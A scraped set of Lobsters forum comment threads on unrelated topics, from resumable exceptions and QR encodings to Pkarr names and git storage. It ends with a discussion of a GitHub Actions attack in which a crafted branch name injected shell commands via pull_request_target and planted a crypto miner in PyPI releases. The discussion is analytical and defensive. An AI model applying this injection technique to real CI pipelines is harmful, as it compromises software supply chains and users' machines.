The basics of HTTP are not complex. Certainly not basic serving of static files, even using Range requests. I’ve implemented this stuff several times in my career.
The nice thing about HTTP is also that you generally don’t have to implement it; any platform down to the lowly embedded ones already has an HTTP library.
There’s also a vast ecosystem around HTTP for proxying, filtering, debugging, analytics, you name it.
If you just want to invent a boutique protocol for fun — which is, I suppose, why Gemini exists — then go for it; but I don’t see any reason this new protocol is necessary or an improvement. In general it just contributes to the “now you have 14 standards” problem.
If all you want is a 90% solution, sure, it’s easy.
I’ve spent the past few months fixing and fighting 90% solutions.
sure, there’s a lot of tools for working with http, but they’re mostly focused on the 90% that already works. i haven’t been able to find any sort of forward proxy to automatically retry connections (the closest i know of is plan9’s aan, but i no longer run plan9), which is what i need to work around http clients that are insufficiently robust to random tcp disconnects.
Related: Spring was an interesting, 90s object-oriented OS by Sun. Like Plan 9 it had a unified namespace. Unlike Plan 9, every object doesn’t have to pretend to be a filesystem.
Personally, I don’t think that’s why hooks came to be. I mean partially, yes, there was a lot more boilerplate when class-based components were in vogue, and then pure function components entered the picture and took away that boilerplate… at the cost of not being able to have any state or respond to any lifecycle events. That’s one problem hooks solve: being able to respond to state and lifecycle events from function components
The bigger advantage IMO is that hooks compose much better. You can write your own custom hook that itself calls useState and useEffect, then use that custom hook in a component, making it possible to write a general abstraction that doesn’t pollute the state of the component itself. Even ignoring that, one component can call useState more than once to create multiple independent pieces of state (instead of bundling them up into one top-level state object), and can call useEffect for multiple independent effects without having to have lots of complex state management in componentDidMount, componentWillReceiveProps, etc. useEffect is still a pretty dangerous footgun, but I’ll take it any day of the week over having to figure out if I want my code in componentDidMount versus componentWillMount again…
You can write your own custom hook that itself calls useState and useEffect, then use that custom hook in a component
My face when I never thought of doing that and I’m literally removing hundreds of lines of code at the moment…
Even though I have used React (or Vue) for a long time now, I’m far from being an expert, and I don’t really like frontend dev that much anyway. So, many thanks! If you have more simple ideas like that to make my code easier/simpler/… feel free to share them :)
Yeah, I think it doesn’t sound too terrible, depending on the implementation. I think the main issue I have is what seems like “API design smell.”
Ex: I’d rather use QUERY on a widgets endpoint that only returned widgets, than to have a single query endpoint that could return anything. A general-purpose query endpoint allows clients to introduce too much coupling to your underlying data model.
There are use cases and tradeoffs for both ways I guess, which is why I suppose I’m not totally against the idea.
I find it slightly odd that an “epic treatise on error models” would fail to mention Common Lisp and Smaltalk, whose error models provide a facility that all others lack: resuming from an error.
Hi, author here, the title also does say “for systems programming languages” :)
For continuations to work in a systems programming language, you can probably only allow one-shot delimited continuations. It’s unclear to me as to how one-shot continuations can be integrated into a systems language where you want to ensure careful control over lifetimes. Perhaps you (or someone else here) knows of some research integrating ownership/borrowing with continuations/algebraic effects that I’m unfamiliar with?
The closest exception to this that I know of is Haskell, which has support for both linear types and a primitive for continuations. However, I haven’t seen anyone integrate the two, and I’ve definitely seen some soundness-related issues in various effect systems libraries in Haskell (which doesn’t inspire confidence), but it’s also possible I missed some developments there as I haven’t written much Haskell in a while.
I’m sorry for the slightly snarky tone of my original reply, but even if you were to discount the Lisp machines, or all the stuff Xerox and others did with Smalltalk (including today’s Croquet), as somehow not being systems, I would have expected an epic treatise to at least mention that error resumption exists – especially since academia is now rediscovering this topic as effect handlers (typically without any mention of the prior art).
This misconception is so common (and dear to my heart) that I have to use bold:
Resumable exceptions do not require first-class continuations, whether delimited or undelimited, whether one-shot or multi-shot. None at all. Nada. Zilch.
To take the example I posted earlier about writing to a full disk: https://lobste.rs/s/az2qlz/epic_treatise_on_error_models_for_systems#c_ss3n1k
Suppose
write()discovers that the disk is full (e.g. from an underlying primitive). This causes it to callsignal_disk_is_full(). Note that the call tosignal_disk_is_full()happens inside the stack ofwrite()(obviously).Now
signal_disk_is_full()looks for a handler and calls it:disk_is_full_handler(). Again, the call to the handler happens inside the stack ofsignal_disk_is_full()(andwrite()). The handler can return normally towrite()once it has cleaned up space.write()is never popped off the stack. It always stays on the stack. IOW, there is never a need to capture a continuation, and never a need to reinstate one. Thedisk_is_full_handler()runs inside the stack of the original call towrite().A side note: most effect systems do use and even require first-class continuations, but IMO that’s completely overkill and only needed for rarely used effects like nondeterminism. For simple effects, like resumable exceptions, no continuations are needed whatsoever.
I provided the working definition of “systems programming language” that I used in the blog post. It’s a narrow one for sure, but I have to put a limit somewhere. My point is not trying to exclude the work done by smart people; but I need a stopping point somewhere after 100~120 hours of research and writing.
Thank you for writing down a detailed explanation with a concrete example. I will update the post with some of the details you shared tomorrow.
You will notice that my comment does not use the phrase “first-class” anywhere; that was deliberate, but perhaps I should’ve been more explicit about it. 😅
As I see it, the notion of a continuation is that of a control operator, which allows one to “continue” a computation from a particular point. So in that sense, it’s a bit difficult for me to understand where exactly you disagree, perhaps you’re working with a different definition of “continuation”? Or perhaps the difference of opinion is because of the focus on first-class continuations specifically?
If I look at Chapter 3 in Advances in Exception Handling Techniques, titled ‘Condition Handling in the Lisp Language Family’ by Ken M. Pitman, that states:
So it might be the case that the mismatch here is largely due to language usage, or perhaps my understanding of continuations is lacking.
I’m also a little bit confused as to why your current comment (and the linked blog post) focus on unwinding/stack representation. For implementing continuations, there are multiple possible implementation strategies, sure, and depending on the exact restrictions involved, one can potentially use more efficient strategies. If a continuation is second-class in the sense that it must either be immediately invoked (or discarded), it makes sense that the existing call stack can be reused.
Regardless of the specifics of whether we can call Common Lisp style conditions and resumption a form of continuations or not, I believe the concern about non-local control flow interacting with type systems and notions of ownership/regions/lifetimes still applies.
Typically, there are two notions of continuations:
Continuations as an explanatory or semantic concept. E.g. consider the expression
f(x + y). To evaluate this, we first need to computex + y. At this point our continuation isf(_), where_is the place into which we will plug the result ofx + y. This is the notion of a continuation as “what happens next” or “the rest of the program”.Continuations as an actually reified value/object in a programming language, i.e. first-class continuations. You can get such a first-class continuation e.g. from Scheme’s
call/ccor from delimited control operators. This typically involves copying or otherwise remembering some part of the stack on the part of the language implementation.Resumable exceptions have no need for first-class continuations (2). Continuations as an explanatory concept (1) of course still apply, but only because they apply to every expression in a program.
The example I used has no non-local control flow at all.
write()callssignal_disk_is_full()and that calls thedisk_is_full_handler(), and that finally returns normally towrite(). This is my point: resumption does not require any non-local control flow.As well as what @manuel wrote, it’s worth noting that basically every language has second-class continuations: a return statement skips to the current function’s continuation.
Your comment talked about one-shot delimited continuations, which are a kind of first-class continuation in that (per Strachey’s definition of first vs second class) they can be assigned to variables and passed around like other values.
In most languages, a return statement cannot be passed as an argument to a function call. So is it still reasonable to call it as “support for a second-class continuation”?
I understand your and @manuel’s points that the common usage may very well be that “one-shot delimited continuation” implies “first-class” (TIL, thank you).
We can make this same point about functions where generally functions are assumed to be first class. However, it’s not unheard of to have second-class functions (e.g. Osvald et al.’s Gentrification gone too far? and Brachthäuser et al.’s Effects, Capabilities, and Boxes describe such systems). I was speaking in this more general sense.
As I see it, the “one-shot delimited” aspect is disconnected from the “second class” aspect.
That you can’t pass it as an argument is exactly why it’s called second-class. Only a first-class continuation is reified into a value in the language, and therefore usable as an argument.
One-shot strongly implies a first-class continuation. Second-class continuations are always one-shot, since, again, you can’t refer to them as values, so how would you invoke one multiple times?
Here is the wording from Strachey’s paper, as linked by @fanf
Isn’t this “except in the case of a formal parameter” exactly what is used by Osvald et al. and Brachthäuser et al. in their papers? Here is the bit from Osvald et al.’s paper:
In the body of
withFile,fnis guaranteed to have several restrictions (it cannot be escaped, it cannot be assigned to a mutable variable etc.). But the type system (as in the paper) cannot prevent the implementation ofwithFilefrom invokingfnmultiple times. That would require an additional restriction – thatfncan only be invoked 0-1 times in the body ofwithFile.@manuel wrote most of what I was going to (thanks, @manuel!) but I think it’s worth quoting the relevant passage from Strachey’s fundamental concepts in programming languages
That’s a concern, sure, but most “systems” languages have non-local control flow, right? C++ has exceptions, and Rust panics can be caught and handled. It would be very easy to implement a Common Lisp-like condition system with nothing more than thread local storage, function pointers (or closures) and catch/throw.
(And I’m pretty sure you can model exceptions / anything else that unwinds the stack as essentially being a special form of “return”, and handle types, ownership, and lifetimes just the same as you do with the
?operator in Rust)My point is not about ease of implementation, it’s about usability when considering type safety and memory safety. It’s not sufficient to integrate a type system with other features – the resulting thing needs to be usable…
I’ve added a section at the end, Appendix A8 describing the concrete concerns.
Early Rust did have conditions and resumptions (as Steve pointed out elsewhere in the thread), but they were removed because of usability issues.
If you dig into the code a bit, you discover that SEH on Windows has full support for Lisp-style restartable and resumable exceptions in the lower level, they just aren’t exposed in the C/C++ layer. The same component is used in the NT kernel and so there’s an existence proof that you can support both of these models in systems languages, I just don’t know of anyone who does.
The SEH model is designed to work in systems contexts. Unlike the Itanium model (used everywhere except Windows) it doesn’t require heap allocation. The throwing frame allocates the exception and metadata and then invokes the unwinder. The unwinder then walks the stack and invokes ‘funclets’ for each frame being unwound. A funclet is a function that runs on the top of the stack but with access to another frame’s stack pointer and so can handle all cleanup for that frame without actually doing the unwind. As with the Itanium model, this is a two-stage process, with the first determining what needs to happen on the unwind and the second running cleanup and catch logic.
This model is very flexible because (as with the Lisp and Smalltalk exception models) the stack isn’t destroyed until after the first phase. This means that you can build any kind of policy on top quite easily.
Oh yes, that reminds me, Microsoft’s Annex K broken C library extensions have a runtime constraint handler that is vaguely like a half-arsed Lisp condition.
Yes. However, even the Itanium model supports it: https://itanium-cxx-abi.github.io/cxx-abi/abi-eh.html
Are you referring to some closed-source code here, or is the implementation source-available/open-source somewhere? I briefly looked that the microsoft/STL repo, and the exception handling machinery seems to be linked to vcruntime which is closed-source AFAICT.
Thanks for the context, I haven’t seen a simple explanation of SEH works elsewhere, so this is good to know. I have one follow-up question:
So the exception and metadata is statically sized (and hence space for it is already reserved on the throwing frame’s stack frame)? Or can it be dynamically sized (and hence there is a risk of triggering stack overflow when throwing)?
As Steve pointed out elsewhere in the thread, Rust pre-1.0 did support conditions and resumptions, but they removed it.
To be clear, I don’t doubt whether you can support it, the question in my mind is whether can you support it in a way that is usable.
I thought I read it in a public repo, but possibly it was a MS internal one.
The throwing context allocates the exception on the stack. The funclet can then use it in place. If it needs to persist beyond the
catchscope, the funclet can copy it elsewhere.This can lead to stack overflow (which is fun because stack overflow is, itself, handled as an SEH exception.
You don’t need continuations for resumable errors. https://lobste.rs/s/az2qlz/epic_treatise_on_error_models_for_systems#c_9efawr
Incidentally, Rust had conditions long ago. They were removed because users preferred Result.
Is there any documentation or code examples of how they worked?
https://github.com/rust-lang/rust/issues/9795 Here’s the bug about removing them. There was some documentation in those early releases, I don’t have the time to dig right now.
I’ve only dabbled slightly with both - how is resuming from an error different from catching it? Is it that execution restarts right after the line that threw the error?
Consider the following:
A program wants to
write()something to a file, but – oops – the disk is full.In ordinary languages, this means
write()will simply fail, signal an error (via error code or exception or …), and unwind its stack.In languages with resumable or restartable errors, something entirely different happens:
write()doesn’t fail, it simply pauses and notifies its calling environment (i.e. outer, enclosing layers of the stack) that it has encountered aDiskIsFullsituation.In the environment, there may be programmed handlers that know how to deal with such a
DiskIsFullsituation. For example, a handler may try to empty the/tmpdirectory if this happens.Or there may be no such handler, in which case an interactive debugger is invoked and presented to the human user. The user may know how to make space such as deleting some no longer needed files.
Once a handler or the user has addressed the
DiskIsFullsituation, it can tellwrite()to try writing again. Remember,write()hasn’t failed, it is still paused on the stack.Well, now that space is available,
write()succeeds, and the rest of the program continues as if nothing had happened.Only if there is no handler that knows how to deal with
DiskIsFullsituations, or if the user is not available to handle the situation interactively, wouldwrite()fail conclusively.Yes. Common Lisp and Smalltalk use condition systems, where the handler gets executed before unwinding.
So unwinding is just one possible option (one possible restart), other common ones are to start a debugger, to just resume, to resume with a value (useful to provide e.g. default values, or replacement for invalid values), etc… the signalling site can provide any number of restart for the condition they signal.
It’s pretty cool in that it’s a lot more flexible, although because it’s adjacent to dynamic scoping it can make the program’s control flow much harder to grasp if you start using complex restarts or abusing conditions.
Exactly. For example “call with current continuation” or call-cc allows you to optionally continue progress immediately after the throw. It’s a generalization of the callback/continuation style used in async-await systems.
(There’s also hurl, which I think was intended as an esolang but stumbled upon something deep (yet already known): https://ntietz.com/blog/introducing-hurl/)
You don’t need continuations to implement resumable errors. The trick is simply to not unwind the stack when an error happens. I wrote an article about how it works a while ago: http://axisofeval.blogspot.com/2011/04/whats-condition-system-and-why-do-you.html
Even if you want to do stack unwinding, you don’t need continuations. Catch and throw are adequate operations to implement restarts that unwind the stack to some point first.
Ah thanks - that’s very informative.
See also fractional indexing: https://observablehq.com/@dgreensp/implementing-fractional-indexing
If encoding of typical URLs doesn’t work really well, shouldn’t they make a new encoding version that is specialized for alphanumeric, / : ? & etc?
chicken-egg problem now. Who would want to use a QR code encoding that won’t work with the majority of QR code readers for only a very small gain, and how many reader implementations are actively maintained and will add support for something nobody uses yet?
The encoding could be invented for internal use by a very large company, kinda like UPS’s MaxiCode: https://en.m.wikipedia.org/wiki/MaxiCode
What you’re describing is the problem for all new standards. How do they ever work? ;-)
Better in environments that are not as fragmented and/or can provide backwards compatibility? ;)
The “byte” encoding works well for that. Don’t forget, URls can contain the full range of Unicode, so a restricted set is never going to please everyone. Given that QR codes can contain ~4k symbols, I’m not sure there’s much need for an entirely new encoding.
Yes, although… there’s some benefit to making QR codes smaller even when nowhere near the limits. Smaller ones scan faster and more reliably. I find it difficult to get a 1kB QR code to scan at all with a phone.
QR codes also let you configure the amount of error correction. For small amounts of data, you often turn up the error correction which makes them possible to scan with a very poor image, so they can often scan while the camera is still trying to focus.
IME small QR codes scan very fast even with the FEC at minimum.
URIs can contain the full Unicode range, but the average URL does not. Given that’s become a major use case for qrcodes it’s definitely a shame it does not have a better mode for them: binary mode needs a byte per byte while alnum only needs 5.5 bits per byte.
All non-ascii characters in URLs can be %-encoded so unicode isn’t a problem. A 6-bit code has room for lower case, digits, and all the URL punctuation, plus room to spare for space and an upper-case shift and a few more.
So ideally a QR encoder should ask the user whether the text is a URL, and should check which encoding is the smallest (alnum with %-encoding, or binary mode). Of course this assumes that any paths in the URL are also case-insensitive (which depends on the server).
Btw. can all HTTP servers correctly handle requests with uppercase domain names? I’m thinking about SNI, maybe certificate entries…? Or do browsers already “normalize” the domain name part of a URL into lowercase?
The spec says host names are case-insensitive. In practice I believe all (?) browsers normalize to lowercase so I’m not sure if all servers would handle it correctly but a lot certainly do. I just checked and curl does not normalize, so it would be easy to test a particular server that way.
Host name yes, but not path. So if you are making a URL that includes a path the path should be upper case (or case insensitive but encoded as upper case for the QR code).
No, a URI consists of ASCII characters only. A particular URI scheme may define how non-ASCII characters are encoded as ASCII, e.g. via percent-encoding their UTF-8 bytes.
Ok? You see how that makes the binary/byte encoding even worse right?
Furthermore, the thing that’s like a URI but not limited to ASCII is a IRI (Internationalized Resource Identifier).
You’re right (oh and I should know that URLs can contain anything…. Let’s blame it on Sunday :-))
Byte encoding is fun in practice, as I recently discovered, because Android’s default QR code API returns the result as a Java String. But aren’t Java Strings UTF-16? Why yes, and so the byte data is interpreted as UTF-8, then converted to UTF-16, and then provided as a string.
The work around, apparently, if you want raw byte data, is to use an undocumented setting to tell the API that the data is in an 8-bit code page that can be safely round tripped through Unicode, and then extract the data from the string by exporting it in that encoding.
I read somewhere that the EU’s COVID passes used text mode with base45 encoding because of this tendency for byte mode QR codes to be interpreted as UTF-8.
Do you really mean base45 or was that a typo for base64? I’m confused because base64 fits fine into utf8’s one-byte-per-character subset. :)
There’s an RFC: https://datatracker.ietf.org/doc/rfc9285/ and yes, base45, which is numbers and uppercase and symbols that matches the QR code “alphanumeric” set.
ahhh ty
What if there’s a host called
o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyyon my network? Unlikely of course, but wouldn’t it better if those domains were under some special TLD, likeo4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy.pkarrto avoid namespace pollution?What happens when keys need to be revoked? That’s why blockchains (like Ethereum’s ENS) are useful for distributed domains.
Ignoring revocation is an architectural mistake that projects continue to make. Gracefully handing revocation is paramount.
If the industry solves revocation, I’m confident these solutions would be much easier to adopt.
“Don’t loose the key” isn’t the answer.
Author of Pkarr here:
Unfortunately, there is no way to do key revocation reliably without introducing centralization (ICANN) or rent (ENS), for fundamental reasons.
But if you introduced centralization or rent, you might as well get human readable names, but we already have these with ICANN and ENS, and frankly ICANN is better.
So, the philosophy of Pkarr and the only way it can be valuable, is if we work hard to make losing keys a very rare occasion, and when that happen once or twice in lifetime, one has to bootstrap again, like they do when they lose their old phone numbers.
I repeat, if that is not acceptable, then you are left with ICANN with extra steps, and might as well just use ICANN.
Wether or not the UX work for keeping keys safe is viable, is a question that can only be solved by trying.
I think «losing the keys» has two meanings here.
One is «I no longer have any copy of the key». The other is «people I don’t want to also have a copy of the key».
For the second case, assuming you can distribute any updates at all, you could distribute a special value «compromised» that can not be updated to any other value. And yes, this means you still need to start with a fresh identity and bootstrap, but the old one cannot be abused for too long.
I understand the intent of your question in two ways. One about purposely causing a name collision when in possession of the private key, and the second about collisions themselves.
For the first way, I would assume the design must force different keys for designing internal and external networks. This is an excellent question and although I didn’t read all the documentation, I would suspect this concern deserves special attention.
If it’s a question about collisions themselves:
That’s base32 with a length of 52, so 256 bits. (Ed25519 public keys are 256 bits) Two things about 2^256:
There shouldn’t be a collision at 256 bits. It’s not just unlikely, but it’s essentially impossible in a very physical sense unless something very is broken with the cryptosystem.
What is very possible is for me to learn you are advertising a pkarr address o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy in some public place, then to add o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy.localdomain to the local resolver where DHCP returns local search option
.localdomain, let’s say just for fun. Not attacking the cryptography, not blind guessing, abusing access to the local infrastructure in a formally allowed way. What will software do?The problem with namespacing what is supposed to be sovereign keys under something like
.pkarris that you you are putting yourself under the mercy of ICANN, hoping they never claim that.pkarr, meanwhile if you use keys as TLDs, they can’t target all keys at once.More importantly: Pkarr itself really doesn’t stop you from using
<key>.pkarrgo for it, it is just not encouraged. What is encouraged is to use the DHT directly and not depend on DNS servers, including doing so inside browsers (eventually).So even if being a TLD is a deal breaker, software that insists on using DNS servers that understand
.pkarrcan do so, they however need to trust these servers because servers won’t respond with signatures as the actual library (and HTTP relays) wouldThat’s what the .alt TLD is for.
There are a bunch of gnarly little issues with single-label names, to do with the resolver search path, multiple name service protocols, assumptions about syntax, assumptions about local vs global scope, … They mostly come up as edge cases but they are really annoying to deal with. They depend greatly on the protocol and application, so if a single-label name works in some contexts, that’s no guarantee it will work in others. If you want to be as compatible as possible with software that assumes domain names, then I would recommend avoiding single-label names.
The idea of .alt is to add some kind of name service protocol name under .alt, e.g., pkarr.alt, then the name service switch doesn’t have to guess what protocol to use to resolve a name, and users can unambiguously specify how names are resolved. It’s a generalization of the .onion special-use domain name that allows other alternative name services to occupy part of the namespace without having to rent a domain name, and without getting into an argument with ICANN.
The stylesheet seems broken for me (Upvote icon replaced by black rectangle. Also text seems a deeper/harsher black? I’m on Chromium on Linux).
Confirm, in Chromium on Linux the triangle is now a black rectangle. (Also the border around the text editing box for comments is not showing.)
I get a white rectangle, and it doesn’t change when I upvote something.
Yup. stylesheet is completely broken and upvoting no longer works.
It still works AFAICT, it just isn’t reflected on the UI.
No mention of directories as first class objects. Is there just a convention about using
/in a filename indicating a directory path?I assume you only store the files themselves, the directories are then implied. (So you can’t have an empty directory.)
Nitpicking:
This is not exactly true. If you create a new commit with
git commit, then the commit object, the tree it points to, and any (new) objects pointed to from the tree are stored as complete, loose objects in the file system, under.git/objectsin the repository. So a commit is a snapshot, concretely.If you later run
git gc, or if you push the new objects to a remote, then those loose objects will be put into a packfile, and inside the packfile they might be stored as deltas against other objects, as an optimization.And explicitly not necessarily as deltas against the parent commit or the same file in a different commit at all.
Kudos, well said.
RFC 7493 (“Internet JSON”) addresses many of these points: https://www.rfc-editor.org/rfc/rfc7493
Suggesting that somebody would store a credit card number as a JSON number is certainly the weirdest thing I’ve read all week.
I would have liked to see an example or description of how the data is actually encoded.
Good feedback, thanks. Added a demo video of an integration, an example of the encoded output, and some other details to the README.
I think the idea that an algorithm can find a “correct” result here is fundamentally wrong.
If you make it to the end of the post, you’ll see the author agrees!
I don’t think any merging algorithm can ever be correct in the general case. I add a “as we have mentioned earlier …” to the last paragraph and you remove or change that mention, now the whole text has lost its coherence.
In software development, we deploy so many measures to fight against issues like this, like writing test suites, type systems, code review etc.
So I don’t think any algorithmic change to a body of text could ever be “correct” in the general case.
For those who are curious but don’t want to pick through the github issue threads:
A malicious PR making a very innocent looking change to the README used a branch name with shell commands in it, formatted in a way that would cause CI jobs to execute those commands when performing a build for upload to PyPi. Those commands downloaded a crypto miner and embedded it into the release package.
So the automated builds that were getting uploaded to PyPi had the miner, but the source in github did not and any build you produced manually by cloning the repository and running a build on your local machine would not have it either.
It’s an interesting attack. Hopefully we’ll see a more detailed description of why a branch name from a PR was getting consumed by GitHub CI in a way that could inject commands.
There was an action that echo’d the branch name without sanitizing anything: https://github.com/advisories/GHSA-7x29-qqmq-v6qc
Another lesson in never trusting user input
I don’t think “never trusting user input” is the right lesson to learn here. Why? Because I don’t think the whoever wrote that code was aware they were trusting the branch name, or what properties of the branch name exactly they were trusting. So the lesson is not really actionable.
I think the lesson is that these kinds of string-replacement based systems (YAML templates, shell variable expansion etc.) just naturally invite these issues. They are inherently unsafe and we should be teaching people to use safer alternatives instead of teaching them to be vigilant 100% of the time.
For e.g. SQL queries it seems the industry has learned the lesson and you’ll rightfully get ridiculed for building your queries via naive string interpolation instead of using a query builder, stored procedures or something of the sort. Now we need to realize that CI workflows, helm charts and everything else using string-level YAML templating is the same deal.
The FP people have a mantra “parse, don’t validate” for consuming text. I think we need another one for producing text that’s just as snappy. Maybe “serialize, don’t sanitize”?
I’m wishing for a CI/automation tool that would provide functionality like “check out a git branch” as functions in a high-level language, not as shell commands embedded in a data file, so that user input is never sent to a shell directly at all. Maybe I should make one…
Before all the hip yaml based CI systems, like github actions, pretty much everyone was using Jenkins.
The sorta modern way to use Jenkins these days is to write Groovy script, which has stuff like
checkout scm, and various other commands. Most of these are from Java plugins, and so the command never ends up going anywhere near a shell, though you do see a lot of use of the shell command function in practice (i.e.sh "make").Kinda a shame that Jenkins is so wildly unpopular, and these weird yaml-based systems are what’s in vogue. Jenkins isn’t as bad as people make it out to be in my opinion.
Please do build something though because Jenkins isn’t exactly good either, and I doubt anyone would pick Groovy as a language for anything today.
I’ve used Jenkins quite a bit, that’s one of the inspiration source for that idea indeed. But Groovy is a rather cursed language, especially by modern standards… it’s certainly one of my least favorite parts of Jenkins.
My idea for a shell-less automation tool is closer to Ansible than to Jenkins but it’s just a vague idea so far. I need to summarize it and share it for a discussion sometime.
groovy is okay. Not the best language, but way ahead any other language I’ve ever seen in a popular CI solution. And ansible should die.
Have you considered Dagger?
edit: I just had to read a little down and someone else points you the same way…
I haven’t heard about it before it was suggested in this thread, I’m going to give it a try.
I use Groovy at
$DAILYJOB, and am currently learning Ruby (which has a lot more job listings as Elixir). The appeal of both languages are the same: it is incredibly easy to design DSLs with it (basically what Jenkins and Gradle use). Which is precisely what I work with at$DAILYJOB. The fact it’s JVM-based is the icing on the cake, because it’s easy to deploy in the clients’ environments.Dagger looks interesting for this sort of use case: https://dagger.io/
This looks really interesting, thanks for the pointer! Maybe it’s already good for things I want to do and I don’t need to make anything at all, or may contribute something to it.
That’d be lovely.
The generation of devs that grew up on Jenkins (including myself) got used to seeing CI as “just” a bunch of shell scripts. But it’s tedious as hell, and you end up programming shell via yaml, which makes me sympathetic to vulns like these.
Yeah in dealing with github’s yaml hell I’ve been wishing for something closer to a typed programming language with a proper library e.g. some sort of simplified-haskell DSL à la Elm, Nix, or Dhall.
They all do? They all provide ways to build specific branches defined in yaml files or even via UIs rather than letting that work for your shell scripts. Personally I find all those yaml meta-languages all inferior than just writing a shell script. And for one and a half decades I’ve been looking for an answer to the question:
What’s the value of a CI server other than running a command on commit?
But back to your point. Why? What you need to do is sanitize user input. That is completely independent of being shell script versus another language. Shellscripts are actually higher level than general purpose programming languages.
I’m certainly not saying that one doesn’t need to sanitize user input.
But I want the underlying system to provide a baseline level of safety. Like in Python, unless I’m calling
eval()it doesn’t matter that some input may contain the character sequenceos.system(...; and if I’m not callingos.system()and friends, it doesn’t matter if a string may haverm -rfin it. When absolutely any data may end up being executed as code at any time, the system has a problem, as of me.Buildbot also belongs on the list of “systems old enough to predate YAML-everywhere”. It certainly has its weaknesses today, but its config is Python-based.
In GitHub Actions specifically, there’s also a very straightforward fix: instead of interpolating a string in the shell script itself, set any values you want to use as env vars and use those instead. e.g.:
I don’t think string replacement systems are bad per se. Sure, suboptimal in virtually all senses. But I think the biggest issue is a lack of good defaults and a requirement to explicitly indicate that you want the engine to do something unsafe. Consider the following in GH Actions:
I do not see any major difference immediately. Compare to Pug (nee Jade):
Using an unescaped string directly is clear to the reader and is not possible without an opt-in. At the same time, the opt-in is a matter of a single-char change, so one cannot decry the measure as too onerous. The mantra should be to make unescaped string usage explicit (and discouraged by default).
But to escape a string correctly, you need to know what kind of context you’re interpolating it into. E.g. if you’re generating a YAML file with string values that are lines of shell script, you might need both shell and YAML escaping in that context, layered correctly. Which is already starting to look less like string interpolation and more like serialization.
A few yearsOver a decade ago (jesus, time flies!) I came up with an ordered list of approaches in descending order of safety. My main mantra was “structural safety” - instead of ad-hoc escaping, try to fix the problem in a way that completely erases injection-type security issues in a structural way.I’m reminded of my similar post focused more on encoding (from the same year! hooooboy).
Good post! I’m happy to say that CHICKEN (finally!) does encoding correctly in version 6.
Serialize, don’t sanitize… I love it! I’m gonna start saying this.
AFAIU, the echoing is not the problem, and sanitizing wouldn’t help.
The problem is that before the script is even executed, parts of its code (the
${{ ... }}stuff) are string-replaced.Yeah. The problem is that the echo command interpretes things like
${{...}}and executes it. Or is it the shell that does it in any string? I’m not even sure and that is problem. No high level language does that. Javascript uses eval, which is already bad enough, but at least you can’t use it inside a string. You can probanly dohello ${eval(...)}but then it is clear that you are evaluating the code inside.The
${{...}}are replaced by the Github CI system before the echo is even run: https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injectionsIt’s the shell that evaluates
$...syntax.$(cmd)executescmd,${VAR}reads shell variablesVARand in both cases the shell replaces the$...with the output before calling the echo program with the result. Echo is just a dumb program that spits out the arguments its given.Edit: but the ${{ syntax is GitHub Actions’ own syntax, the shell doesn’t see that as GH Actions evaluates it before running the shell command.
Oh thanks for explaining!
The part I don’t get is how this is escalated to the publish, that workflow only seems to run off of the main branch or a workflow dispatch.
cf https://lobste.rs/s/btagmw/maliciously_crafted_github_branch_name#c_4z3405 it seems they were using the pull_request_target event which grants PR CI’s access to repo secrets, so they could not only inject the miner, but publish a release?
Does anyone have a copy of the script so we can see what it did?
Funny that they managed to mine only about $30 :)
Honestly, shining a spotlight on this attack with a mostly harmless crypto miner is a great outcome.
Less obvious key-stealing malware probably would have caused far more pain.
I knew crypto would have great use cases eventually
The
pull_request_targetevent that was used here is privilege escalation similar to sudo – it gives you access to secrets etc.Like all privilege escalation code, this should be very carefully written, fuzzed, and audited. Certainly a shell script is exactly wrong – sh was never designed to handle untrusted input in sensitive scenarios. Really it’s on GitHub Actions for making shell script-based privilege escalation code the easy path.
At the very least you want to use a language like Rust, leveraging the type system to carefully encapsulate untrusted code, along with property-based testing/fuzzing for untrusted inputs. This is an inherently serious, complex problem, and folks writing code to solve it should have to grapple with the complexity.
cf https://lobste.rs/s/btagmw/maliciously_crafted_github_branch_name#c_4z3405 it seems they were using the pull_request_target event which grants PR CI’s access to repo secrets, so they could not only inject the miner, but publish a release?
Does anyone have a copy of the script so we can see what it did?
Funny that they managed to mine only about $30 :)
Wow. I was looking for that kind of explanation and hadn’t found it yet. Thank you for finding and sharing it.
No, the lesson is to never use bash, except for using to start something that is not bash.
Oh, this is probably a better top level link for this post!
This is the offending PR
https://github.com/ultralytics/ultralytics/pull/18018
A bot made the PR? How does that work?
I don’t know if it was a bot or not (but that is probably irrelevant). The problem in the PR lies in the branch name which executed arbitrary code during GitHub Actions. Sorry if I misunderstood your question.
Hm, the dots don’t connect for me yet. I can just make a PR with changes to build process, and CI would test it, but that should be fine, because PRs run without access to secrets, right?
It’s only when the PR is merged and CI is run on the main branch that secrets are available, right?
So would it be correct to say that the PR was merged into main, and, when running CI on the main branch, something echoed the branch name of recently-merged PR?
Ah, I am confused!
See https://stackoverflow.com/questions/74957218/what-is-the-difference-between-pull-request-and-pull-request-target-event-in-git
There’a a way to opt-in to trigger workflow with main branch secrets when a PR is submitted, and that’s exactly what happened here.
I don’t get why this option exists!
Why would you ever want to expose your secrets to a pull request on an open source project? Once you do that, they’re not actually secrets, they’re just … weakly-obscured configuration settings. This is far from the first time this github “feature” has been used to attack a project. Why do people keep turning it on? Why hasn’t github removed it?
If I understand it correctly, I can maybe see it used in a non-public context, like for a companies internal CI.
But for open source and public repos it makes no sense. Even if it’s not an attack like in this case, a simple “echo …” makes the secrets no longer secret.
Prioritizing features over security makes total sense in this context! This was eloquently formulated by @indygreg! Actions:
You clearly want them to be as powerful as possible!
Note that the version of the workflow that’s used is the one in the target branch, not the one in the proposed branch.
There are legitimate use cases for this kind of privilege escalation, but GHA’s semiotics for it are all wrong. It should feel like a Serious, Weighty piece of code that should be carefully validated and audited. Shell scripts should be banned, not the default.
Thanks for the explanation, I was literally about to post a question to see if I understood it correctly. I am absolutely paranoid about the Actions running on my Github repos, it would seem to be that a closed PR should not be involved in any workflow. While the branch name was malicious, is there also a best practice to pull out here for maintainers?
Don’t ever use
pull_request_targettrigger, and, if you do, definitely don’t give that CI job creds to publish your stuff.The root cause here is not shell injection. The root cause is that untrusted input gets into CI run with creds at all. Of course, GitHub actions doesn’t do that by default, and you have to explicitly opt-into this with
